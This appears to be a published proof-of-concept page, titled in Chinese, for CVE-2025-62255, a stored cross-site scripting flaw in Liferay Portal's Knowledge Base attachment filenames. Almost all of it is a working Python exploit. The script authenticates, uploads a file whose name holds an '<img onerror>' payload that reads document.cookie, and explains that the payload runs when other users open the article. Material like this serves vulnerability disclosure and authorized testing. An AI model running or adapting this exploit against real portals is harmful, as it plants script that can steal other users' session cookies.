CVE-2025-62255 Liferay Portal知识库文章附件文件名存储型XSS漏洞

# CVE-2025-62255 PoC - Liferay Portal Stored XSS in Knowledge Base Attachment Filename # This PoC demonstrates the stored XSS vulnerability via attachment filename injection import requests import json # Configuration target_url = "https://target-liferay-portal.com" cve_id = "CVE-2025-62255" # XSS Payload for attachment filename # The payload uses an image tag with onerror handler to execute JavaScript xss_payload = '<img src=x onerror=alert(document.cookie)>' # Authentication credentials auth_creds = { "username": "[email protected]", "password": "password123" } def exploit_stored_xss(): """ Exploit stored XSS in Liferay Knowledge Base article attachment filename Steps: 1. Authenticate to Liferay Portal 2. Create or access a Knowledge Base article 3. Upload attachment with malicious filename 4. The XSS will trigger when other users view the article """ # Step 1: Login to Liferay Portal login_url = f"{target_url}/c/portal/login" session = requests.Session() login_data = { "login": auth_creds["username"], "password": auth_creds["password"], "redirect": "/" } response = session.post(login_url, data=login_data) if response.status_code != 200: print(f"[-] Login failed") return False print("[+] Successfully authenticated") # Step 2: Navigate to Knowledge Base article editor kb_editor_url = f"{target_url}/group/control_panel/manage?p_p_id=101_INSTANCE_kb_article" # Step 3: Upload attachment with XSS payload in filename upload_url = f"{target_url}/api/jsonws/dlapp/add-file-entry" files = { "file": (f"{xss_payload}.jpg", b"fake_image_data", "image/jpeg") } upload_data = { "repositoryId": "10181", "folderId": "0", "sourceFileName": f"{xss_payload}.jpg", # Malicious filename "mimeType": "image/jpeg", "title": f"{xss_payload}.jpg", "description": "Malicious attachment for XSS testing" } response = session.post(upload_url, data=upload_data, files=files) if response.status_code == 200: print(f"[+] XSS payload uploaded successfully") print(f"[+] Payload: {xss_payload}") print(f"[+] The XSS will execute when users view the Knowledge Base article") return True else: print(f"[-] Upload failed: {response.status_code}") return False def verify_vulnerability(): """ Verify the XSS vulnerability exists by checking the response """ print(f"\n[*] Verifying {cve_id}...") print(f"[*] Target: {target_url}") print(f"[*] Vulnerability Type: Stored XSS in Knowledge Base Attachment Filename") print(f"[*] Affected Versions: Liferay Portal 7.4.0-7.4.3.101, Liferay DXP 2023.Q3.1-2023.Q3.5") if __name__ == "__main__": verify_vulnerability() # Note: Run exploit_stored_xss() only in authorized security testing # exploit_stored_xss()